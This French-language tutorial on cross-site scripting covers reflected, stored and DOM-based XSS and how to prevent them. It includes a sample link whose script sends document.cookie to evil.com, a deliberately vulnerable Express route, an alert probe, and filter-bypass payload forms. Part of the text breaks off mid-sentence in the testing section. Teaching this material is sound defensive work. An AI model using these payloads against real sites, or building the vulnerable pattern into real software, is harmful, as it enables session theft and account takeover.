arrow_backRetour aux notes de terrain
WEB SECURITY Publié 9 Aug 2026

Cross-Site Scripting : pourquoi XSS pose toujours problème en 2024

Une analyse pratique des XSS réfléchis, stockés et basés sur le DOM, comment les attaquants les exploitent, et comment les arrêter vraiment.

XSS figure au OWASP Top 10 depuis deux décennies et c'est encore l'une des premières choses qu'un pentesteur vérifiée. Le bug est simple à expliquer et difficile à vraiment fermer : un attaquant réussit à faire exécuter son JavaScript dans le navigateur d'une victime sous l'origine de votre site. Une fois que c'est fait, il peut lire des cookies, forger des requêtes, ou simplement réécrire la page devant l'utilisateur.

Les trois variantes

XSS réfléchi est l'attaque classique par lien de phishing. Une page de recherche prend ?q= depuis l'URL et l'imprime directement dans le HTML sans encodage. Envoyez à quelqu'un un lien comme https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> et s'il le clique alors qu'il est connecté, son cookie de session va à l'attaquant.

XSS stocké est pire parce qu'il n'a pas besoin de lien du tout. Un champ de commentaire, une biographie de profil, une description de ticket de support — n'importe où où une entrée utilisateur est sauvegardée et rendue ultérieurement à d'autres utilisateurs. Postez le payload une fois et chaque visiteur qui voit cette page est touché, pas besoin d'ingénierie sociale.

XSS basé sur le DOM existe entièrement dans du code côté client. Le serveur ne voit jamais le payload malveillant ; c'est du JavaScript lisant quelque chose comme location.hash ou document.referrer et le mettant dans innerHTML ou eval(). Celui-ci trompe les gens parce que les logs côté serveur ressemblent complètement propres.

D'où ça vient vraiment

La plupart des bugs XSS se résument à une erreur : traiter des données non fiables comme du markup ou du code fiable. Les points de sortie courants à surveiller en JavaScript : innerHTML, outerHTML, document.write, eval, setTimeout avec un argument string, et le .html() de jQuery. Côté serveur, les moteurs de templates qui n'échappent pas par défaut (concaténation brute de strings dans du HTML) sont le coupable habituel.

Un exemple rapide du monde réel : une app Node/Express qui fait

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

a une XSS réfléchie immédiate. req.query.name va directement dans la réponse sans aucun encodage. N'importe qui accédant à /greet?name=<img src=x onerror=alert(document.domain)> le prouve en environ deux secondes.

Le corriger vraiment

L'encodage de sortie contextuel est la vraie correction, pas un contournement. Corps HTML, attribut HTML, string JavaScript, et contextes URL ont chacun besoin de règles d'encodage différentes — une librairie comme Java Encoder d'OWASP, ou l'échappement automatique intégré dans les moteurs de templates comme Jinja2, React JSX, ou Handlebars, gère ça correctement. React en particulier échappe le contenu textuel par défaut, c'est pourquoi dangerouslySetInnerHTML est nommé comme ça : c'est un label d'avertissement.

La validation d'entrée aide mais ne suffit pas en elle-même. Mettre les tags <script> sur liste noire se contourne constamment — <img src=x onerror=...>, <svg onload=...>, ou des gestionnaires d'événements sur presque n'importe quel tag fonctionnent tous. Mettre sur liste blanche des formats attendus (une regex d'email, un ID numérique) c'est bien comme couche secondaire, mais ça ne remplace pas un encodage de sortie approprié.

Content-Security-Policy est la couche de défense en profondeur la plus forte disponible. Une politique comme

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

bloque les scripts inline et les sources de scripts tiers sauf s'ils sont explicitement noncés ou sur liste blanche, ce qui arrête la plupart des payloads XSS de s'exécuter même s'ils passent l'encodage. Évitez unsafe-inline et unsafe-eval dans les CSPs en production ; ils annulent la plupart de la protection.

Définissez les cookies avec les flags HttpOnly et Secure pour que même une XSS réussie ne puisse pas lire directement le cookie de session via document.cookie. Ça n'arrête pas l'injection mais ça limite considérablement le rayon de blast.

Les tester vous-même

Le scanner actif de Burp Suite attrape beaucoup de XSS réfléchis et stockés automatiquement, mais le test manuel reste important pour les cas basés sur le DOM. Des outils comme la suite de tests de DOMPurify ou simplement faire un grep dans votre codebase pour innerHTML = et eval( vont faire remonter un nombre surprenant de findings rapidement. Pour une sonde manuelle, le payload `

Rédigé avec l'aide de l'IA, relu et publié par Michal Pilch (CISSP), Korra Studio.

Prêt à aller plus loin ?

Ceci est une note de la base de connaissances de Korra Studio — la plateforme associe chaque sujet à un mentorat individuel.

Commencer gratuitementarrow_forward